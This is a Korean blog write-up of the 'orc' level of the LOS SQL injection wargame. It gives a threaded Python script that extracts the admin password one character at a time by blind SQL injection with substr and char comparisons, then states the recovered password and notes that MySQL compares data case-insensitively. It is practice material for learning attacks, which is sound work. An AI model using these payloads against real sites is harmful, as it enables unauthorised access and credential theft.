본문 바로가기
워게임/LOS

orc

by meanjung 2021. 10. 1.

이게 바로 blind sql injection

아예 pw를 알아내야하는 문제 같다.(비박스 책에서 addslashes는 우회할 수 없다고 했다.. 확실X)

 

 

1. 비밀번호 길이 알아내기

 

2. 비밀번호 한 글자씩 알아내기

import requests
import threading
def req_url(i):
    cookies={'PHPSESSID':''}
    for c in range(48, 123):
        response = requests.get("https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' or id='admin' and substr(pw,"+str(i)+",1)=char("+str(c)+")%23",cookies=cookies)
        if 'Hello admin' in response.text:
            print('index:',str(i),' char:',chr(c))
            print("' or id='admin' and substr(pw,"+str(i)+",1)=char("+str(c)+")%23\n")
            return

for i in range(1, 9):
    t = threading.Thread(target=req_url, args=(i,))
    t.start()

내가 처음 구한 결과는 095A9852였다. 그런데 실패해서 답을 찾아봤다. 답은 095a9852

 

 

 

MySQL이 대소문자 구별을 하지 않는다는 것은 알고있었는데 데이터의 대소문자를 구별 안하는 지는 몰랐다.


내 다른 DB에서 테스트함으로써 확인했다. 이 두 쿼리는 같은 데이터를 가져온다. 

select * from attack where attackId=1 and substr(program, 1, 1)=char(104);
select * from attack where attackId=1 and substr(program, 1, 1)=char(72);

 

 

때문에 코드를 돌려 값을 얻었음에도 소문자로 다시 시도해봐야한다.

'워게임 > LOS' 카테고리의 다른 글

darkelf  (0) 2021.10.02
wolfman  (0) 2021.10.02
goblin  (0) 2021.10.01
cobolt  (0) 2021.10.01
gremlin  (0) 2021.10.01

댓글